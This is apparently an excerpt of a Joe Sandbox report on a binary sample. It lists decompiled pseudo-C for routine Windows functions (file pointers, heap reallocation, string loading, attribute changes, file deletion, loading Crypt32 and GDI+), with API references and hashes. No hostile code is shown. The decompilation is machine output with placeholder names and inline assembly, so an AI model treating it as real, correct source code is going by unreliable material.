0x013c7799
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7762
0x013c7762
0x013c7764
0x013c776c
0x00000000
0x00000000
0x013c776e
0x013c7774
0x00000000
0x00000000
0x013c7776
0x00000000
0x013c7776
0x013c779d
0x00000000
0x013c779d
0x013c7756
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 013C7786
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 013C7793

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 7a4fa2250435e83df0c03ce7302bdd79693ccb422c10d4f5a891e98c082538fd
Instruction ID: c33c1f4483f7cb4f1051fb61a476a88243adefce575f1c94968e9bc1705a0d69
Opcode Fuzzy Hash: 7a4fa2250435e83df0c03ce7302bdd79693ccb422c10d4f5a891e98c082538fd
Instruction Fuzzy Hash: 3E110A376011299FEB369E2CE8818BA7799AB84B64B064228FD14EB248D731DC418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 013A9B3B Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E013A9B3B() {
				long _v4;
				void* __ecx;
				void* __ebp;
				long _t12;
				signed int _t14;
				signed int _t21;
				signed int _t22;
				void* _t23;
				long _t32;
				void* _t34;

				_t34 = _t23;
				_t22 = _t21 | 0xffffffff;
				if( *(_t34 + 4) != _t22) {
					L3:
					_v4 = _v4 & 0x00000000;
					_t12 = SetFilePointer( *(_t34 + 4), 0,  &_v4, 1); // executed
					_t32 = _t12;
					if(_t32 != _t22 || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t14 = 0 + _t32;
						asm("adc edx, 0x0");
						goto L8;
					} else {
						if( *((char*)(_t34 + 0x14)) == 0) {
							_t14 = _t22;
							L8:
							return _t14;
						}
						E013A6E6A(0x13dcbe8, 0x13dcbe8, _t34 + 0x1e);
						goto L7;
					}
				}
				if( *((char*)(_t34 + 0x14)) == 0) {
					return _t22;
				}
				E013A6E6A(0x13dcbe8, 0x13dcbe8, _t34 + 0x1e);
				goto L3;
			}

0x013a9b3f
0x013a9b41
0x013a9b4c
0x013a9b5f
0x013a9b5f
0x013a9b71
0x013a9b77
0x013a9b7b
0x013a9b98
0x013a9b9e
0x013a9ba3
0x013a9ba5
0x00000000
0x013a9b87
0x013a9b8b
0x013a9bb4
0x013a9ba8
0x00000000
0x013a9ba8
0x013a9b93
0x00000000
0x013a9b93
0x013a9b7b
0x013a9b52
0x00000000
0x013a9bb0
0x013a9b5a
0x00000000

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 013A9B71
GetLastError.KERNEL32 ref: 013A9B7D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ae08cda487560df2f0c1e004fd34e4b7b6a00e73b455bef076293deca7a6a8d4
Instruction ID: 452f4693b60ea7852ded12fd8a64d618fdf8cd4c7734770121b303495f56ede5
Opcode Fuzzy Hash: ae08cda487560df2f0c1e004fd34e4b7b6a00e73b455bef076293deca7a6a8d4
Instruction Fuzzy Hash: 240192B17012046BEB349E2DDC44B6ABBDDDB8461CF84863EB252C7A80CA35D8088711

Uniqueness

Uniqueness Score: -1.00%

Function 013A98E7 Relevance: 3.1, APIs: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E013A98E7(intOrPtr* __ecx, long _a4, long _a8, long _a12) {
				void* __ebp;
				long _t14;
				void* _t17;
				intOrPtr* _t19;
				long _t21;
				intOrPtr* _t22;
				void* _t23;
				long _t25;
				long _t28;
				long _t31;

				_t19 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L13:
					return 1;
				}
				_t28 = _a4;
				_t25 = _a8;
				_t31 = _t25;
				if(_t31 > 0 || _t31 >= 0 && _t28 >= 0) {
					_t21 = _a12;
				} else {
					_t21 = _a12;
					if(_t21 != 0) {
						_t22 = _t19;
						if(_t21 != 1) {
							_t17 = E013A96FA(_t22, _t23);
						} else {
							_t17 =  *((intOrPtr*)( *_t19 + 0x14))();
						}
						_t28 = _t28 + _t17;
						asm("adc edi, edx");
						_t21 = 0;
					}
				}
				_a12 = _t25;
				_t14 = SetFilePointer( *(_t19 + 4), _t28,  &_a12, _t21); // executed
				if(_t14 != 0xffffffff || GetLastError() == 0) {
					goto L13;
				} else {
					return 0;
				}
			}

0x013a98eb
0x013a98f1
0x013a9956
0x00000000
0x013a9956
0x013a98f4
0x013a98f8
0x013a98fb
0x013a98fd
0x013a9927
0x013a9905
0x013a9905
0x013a990a
0x013a990f
0x013a9911
0x013a991a
0x013a9913
0x013a9915
0x013a9915
0x013a991f
0x013a9921
0x013a9923
0x013a9923
0x013a990a
0x013a992c
0x013a993b
0x013a9946
0x00000000
0x013a9952
0x00000000
0x013a9952

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 013A993B
GetLastError.KERNEL32 ref: 013A9948

Part of subcall function 013A96FA: __EH_prolog.LIBCMT ref: 013A96FF

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: 79b7ab8232ccbad4ccce2f7b9a6018ff04aed27b0e8d1f226279f732c98fadfc
Instruction ID: 506406a953f06fa9f7d71964d44c28db78b2e8cdb6faf26b40661ea755fff3fa
Opcode Fuzzy Hash: 79b7ab8232ccbad4ccce2f7b9a6018ff04aed27b0e8d1f226279f732c98fadfc
Instruction Fuzzy Hash: F501B532201117BBCF188E5D98447AF775DFF4123CB85822DF929EB295D630E8058760

Uniqueness

Uniqueness Score: -1.00%

Function 013C5ADA Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E013C5ADA(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* __esi;
				void* _t4;
				long _t7;
				void* _t9;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = HeapReAlloc( *0x13fb394, 0, _t14, _t16);
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E013C585D();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E013C4689(_t10, _t13, _t16, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E013C5E2E())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E013C59B2(_t14);
					goto L6;
				}
				_t9 = E013C59EC(__ecx, _a8); // executed
				return _t9;
			}

0x013c5ada
0x013c5ada
0x013c5ae0
0x013c5ae5
0x013c5af3
0x013c5af6
0x013c5af8
0x013c5b03
0x013c5b06
0x013c5b2d
0x013c5b37
0x013c5b3d
0x013c5b3f
0x00000000
0x00000000
0x013c5b1e
0x013c5b20
0x00000000
0x00000000
0x013c5b23
0x013c5b28
0x013c5b29
0x013c5b2b
0x00000000
0x00000000
0x013c5b2b
0x013c5b15
0x00000000
0x013c5b15
0x013c5b08
0x013c5b0d
0x013c5b13
0x013c5b13
0x013c5b13
0x00000000
0x013c5b13
0x013c5afb
0x00000000
0x013c5b00
0x013c5aea
0x00000000

APIs

_free.LIBCMT ref: 013C5AFB

Part of subcall function 013C59EC: RtlAllocateHeap.NTDLL(00000000,?,?,?,013C239A,?,0000015D,?,?,?,?,013C2F19,000000FF,00000000,?,?), ref: 013C5A1E

HeapReAlloc.KERNEL32(00000000,?,00200000,?,?,013DCBE8,013A17D2,?,?,?,?,00000000,?,013A13A9,?,?), ref: 013C5B37

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: f818f3677c56a2910feca570bace0263974a6de749dfeab0d56e0f09246eb5fe
Instruction ID: 37d33ac8919837ec4a6400d1de379d7e233498f9d44ea170c594235c3924cb69
Opcode Fuzzy Hash: f818f3677c56a2910feca570bace0263974a6de749dfeab0d56e0f09246eb5fe
Instruction Fuzzy Hash: 47F062327552166AEB312A2DEC00E6B3F5C8FD2F79F11411DE81596590EE31BD018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 013AD192 Relevance: 3.0, APIs: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E013AD192(int _a4) {
				signed int _t3;
				int _t10;
				signed int _t14;
				signed int _t15;
				WCHAR* _t17;

				_t3 =  *0x13dec30; // 0x7
				asm("sbb esi, esi");
				_t15 = _t14 & _t3 + 0x00000001;
				 *0x13dec30 = _t15;
				_t17 = (_t15 << 0xa) + 0x13dcc30;
				 *_t17 = 0;
				if(E013ACE26(0, 0x13dcbd4) != 0) {
					L2:
					LoadStringW( *0x13dcba8, _a4, _t17, 0x200);
				} else {
					_t10 = LoadStringW( *0x13dcba4, _a4, _t17, 0x200); // executed
					if(_t10 == 0) {
						goto L2;
					}
				}
				E013AC96F(0x13dcbd4, _t17, _t17, 0x200, 0, 0);
				return _t17;
			}

0x013ad192
0x013ad1a5
0x013ad1a7
0x013ad1ab
0x013ad1b4
0x013ad1ba
0x013ad1c9
0x013ad1e1
0x013ad1ed
0x013ad1cb
0x013ad1d7
0x013ad1df
0x00000000
0x00000000
0x013ad1df
0x013ad1fc
0x013ad206

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 013AD1D7
LoadStringW.USER32(?,?,00000200,?), ref: 013AD1ED

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 7d6463d63a17418e6a9982f621d107b72a90d1b70cc47fe8ec0fdf603ae89f2c
Instruction ID: 432e5a128ffb05396dcfd4cb3d6dfffe374b7bfe42cbed7b422023d473571922
Opcode Fuzzy Hash: 7d6463d63a17418e6a9982f621d107b72a90d1b70cc47fe8ec0fdf603ae89f2c
Instruction Fuzzy Hash: 21F0F033B222287BEE219F54BC84FA77E5DEF05788F011929FA85DB051DA218C05D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 013AFC94 Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013AFC94(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t14;
				signed int _t15;
				signed int _t17;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					return _t8 + 1;
				}
				_t14 = 0;
				_t17 = _v8;
				_t15 = 1;
				do {
					if((_t17 & _t15) != 0) {
						_t14 = _t14 + 1;
					}
					_t15 = _t15 + _t15;
				} while (_t15 != 0);
				if(_t14 >= 1) {
					return _t14;
				}
				return 1;
			}

0x013afca8
0x013afcb0
0x00000000
0x013afcb2
0x013afcb7
0x013afcbb
0x013afcbe
0x013afcc0
0x013afcc2
0x013afcc4
0x013afcc4
0x013afcc5
0x013afcc5
0x013afccc
0x00000000
0x013afcce
0x013afcd3

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 013AFCA1
GetProcessAffinityMask.KERNEL32(00000000), ref: 013AFCA8

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: aa15ed81c3e5072f93f582642c924f15ac2efc08b2a5f17df719800c0b2a578e
Instruction ID: 5510df0de6b8491ffcf34d13b000bc0415ae300a1b08fdf707785f3623afa6ba
Opcode Fuzzy Hash: aa15ed81c3e5072f93f582642c924f15ac2efc08b2a5f17df719800c0b2a578e
Instruction Fuzzy Hash: 8CE02232A4010A77CF1986A9A8088EF739CDB04209B10017EBD07C3204F930D90103A0

Uniqueness

Uniqueness Score: -1.00%

Function 013AA113 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E013AA113(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t12;
				signed int _t18;
				signed int _t19;

				E013BCEC0();
				_push(_t18);
				_t12 = SetFileAttributesW(_a4, _a8); // executed
				_t19 = _t18 & 0xffffff00 | _t12 != 0x00000000;
				if(_t19 == 0 && E013AB2C5(_a4,  &_v4100, 0x800) != 0) {
					_t19 = _t19 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t19;
			}

0x013aa11b
0x013aa120
0x013aa127
0x013aa12f
0x013aa134
0x013aa160
0x013aa160
0x013aa169

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,013A9F49,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013AA127
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,013A9F49,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013AA158

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d0eab76a9d91d6b55e499346f8613b3baea634ef005873ceda1ea36210ce45d7
Instruction ID: 28f6acd81f370abbc8c89336e1e3e8b7457b292f2e8a01d3473dcff70d1497df
Opcode Fuzzy Hash: d0eab76a9d91d6b55e499346f8613b3baea634ef005873ceda1ea36210ce45d7
Instruction Fuzzy Hash: 19F03032241109BBDF215EA4EC44BDA776DEF0478AF448051F988D6154DB36DA98DB50

Uniqueness

Uniqueness Score: -1.00%

Function 013BC0CF Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 013BC0FD
SetDlgItemTextW.USER32(00000065,?), ref: 013BC114

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 4da0edd88777ad5c53d07a9cf8ccd403968928db80bdfd4bc84e5527dd15a2af
Instruction ID: 9fd2b2ac99c2601266e83f52310cb05d13c206513e66f5f8203ce396cb95a0d1
Opcode Fuzzy Hash: 4da0edd88777ad5c53d07a9cf8ccd403968928db80bdfd4bc84e5527dd15a2af
Instruction Fuzzy Hash: CAF0557294430EBBF731AAA48C45FDB3B5EEB04349F400082F705A74D1F671AE2087A2

Uniqueness

Uniqueness Score: -1.00%

Function 013A9DFC Relevance: 3.0, APIs: 2, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E013A9DFC(WCHAR* _a4) {
				short _v4100;
				int _t10;
				signed int _t16;
				signed int _t17;

				E013BCEC0();
				_push(_t16);
				_t10 = DeleteFileW(_a4); // executed
				_t17 = _t16 & 0xffffff00 | _t10 != 0x00000000;
				if(_t17 == 0 && E013AB2C5(_a4,  &_v4100, 0x800) != 0) {
					_t17 = _t17 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t17;
			}

0x013a9e04
0x013a9e09
0x013a9e0d
0x013a9e15
0x013a9e1a
0x013a9e43
0x013a9e43
0x013a9e4c

APIs

DeleteFileW.KERNELBASE(?,?,?,013A9661,?,?,013A94BC), ref: 013A9E0D
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,013A9661,?,?,013A94BC), ref: 013A9E3B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e2fa62d701ed8349857ac7e651fb1505cc1bbfbc13831ddbc4ae677c926d597f
Instruction ID: 67f5fb5f5a102be67255699b68c3436dd26475f74595b8506e8e8e238a5df796
Opcode Fuzzy Hash: e2fa62d701ed8349857ac7e651fb1505cc1bbfbc13831ddbc4ae677c926d597f
Instruction Fuzzy Hash: 62E02231641209ABEB219E78EC40FEA779DEF09B86F840061BA88D2044DB32DD909B90

Uniqueness

Uniqueness Score: -1.00%

Function 013A9E63 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A9E63(WCHAR* _a4) {
				short _v4100;
				long _t6;
				long _t11;
				long _t13;

				E013BCEC0();
				_t6 = GetFileAttributesW(_a4); // executed
				_t13 = _t6;
				if(_t13 == 0xffffffff && E013AB2C5(_a4,  &_v4100, 0x800) != 0) {
					_t11 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t11;
				}
				return _t13;
			}

0x013a9e6b
0x013a9e74
0x013a9e7a
0x013a9e7f
0x013a9ea0
0x013a9ea6
0x013a9ea6
0x013a9eae

APIs

GetFileAttributesW.KERNELBASE(?,?,?,013A9E58,?,013A75A0,?,?,?,?), ref: 013A9E74
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,013A9E58,?,013A75A0,?,?,?,?), ref: 013A9EA0

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2d9b2a620f4e71dea048aac730c9984bb0d131056600a4a371dd9793a7b00609
Instruction ID: 12dd9a612c758b79c841550b26d3fb6daed28bd295f1910ecbf0b15be31519d2
Opcode Fuzzy Hash: 2d9b2a620f4e71dea048aac730c9984bb0d131056600a4a371dd9793a7b00609
Instruction Fuzzy Hash: E1E092325001686BCB21AAACDC08BDA7B5CEB087E7F4002A1FE4CE7294D6719D948BD0

Uniqueness

Uniqueness Score: -1.00%

Function 013AF35B Relevance: 3.0, APIs: 2, Instructions: 25
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013AF35B(intOrPtr _a4) {
				short _v4100;
				struct HINSTANCE__* _t7;

				E013BCEC0();
				_t7 = GetSystemDirectoryW( &_v4100, 0x800);
				if(_t7 != 0) {
					E013AB5BE( &_v4100, _a4,  &_v4100, 0x800);
					_t7 = LoadLibraryW( &_v4100); // executed
				}
				return _t7;
			}

0x013af363
0x013af376
0x013af37e
0x013af38c
0x013af398
0x013af398
0x013af3a2

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 013AF376
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,013ADF18,Crypt32.dll,?,013ADF9C,?,013ADF7E,?,?,?,?), ref: 013AF398

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: efa9d3d7916f243938f36171887b9a03dd13ba827130871be5899862084019d9
Instruction ID: 4eaa263cc5664ae2fe8d021bd30fee5f838abe1989b1e8088b23dc177fcd418f
Opcode Fuzzy Hash: efa9d3d7916f243938f36171887b9a03dd13ba827130871be5899862084019d9
Instruction Fuzzy Hash: 3CE0127281111CA7DB219AA8AC44FDBB76CEF08782F4440A5B948D2004DA7499848BB0

Uniqueness

Uniqueness Score: -1.00%

Function 013B8923 Relevance: 3.0, APIs: 2, Instructions: 24
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E013B8923(signed int __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _t10;
				signed int _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t10 =  &_v8;
				_v8 = __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_t10);
				_push(_a4);
				 *__ecx = 0x13d1300;
				if(_a8 == 0) {
					L013BCD8E(); // executed
				} else {
					L013BCD94();
				}
				 *((intOrPtr*)(_t15 + 8)) = _t10;
				 *(_t15 + 4) = _v8;
				return _t15;
			}

0x013b8926
0x013b8928
0x013b892a
0x013b892d
0x013b8930
0x013b8938
0x013b8939
0x013b893c
0x013b8942
0x013b894b
0x013b8944
0x013b8944
0x013b8944
0x013b8950
0x013b8956
0x013b895f

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 013B8944
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 013B894B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 2c7d5a557de901c7012fe44176a8014828ad26195d89e15181ffe03141fcb439
Instruction ID: 53f5c5ae33686854896f5004575f1816aa6f8ca113c1f03b123aabbe987e4816
Opcode Fuzzy Hash: 2c7d5a557de901c7012fe44176a8014828ad26195d89e15181ffe03141fcb439
Instruction Fuzzy Hash: F0E01275901219EFDB24DF99C5407D9BBFCEF04265F10809FE98593B00E6716E14DB92

Uniqueness

Uniqueness Score: -1.00%

Function 013B909D Relevance: 3.0, APIs: 2, Instructions: 22
comCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E013B909D(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t7;
				void* _t11;
				intOrPtr _t14;

				 *[fs:0x0] = _t14;
				_t5 =  *0x13e20e8;
				 *((intOrPtr*)( *_t5 + 8))(_t5, _t11,  *[fs:0x0], E013CF605, 0xffffffff);
				L013BCDA6(); // executed
				_t7 =  *0x13dab54( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t7;
			}

0x013b90ae
0x013b90b5
0x013b90c0
0x013b90c6
0x013b90cb
0x013b90d4
0x013b90df

APIs

GdiplusShutdown.GDIPLUS(?,?,?,013CF605,000000FF), ref: 013B90C6
OleUninitialize.OLE32(?,?,?,013CF605,000000FF), ref: 013B90CB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

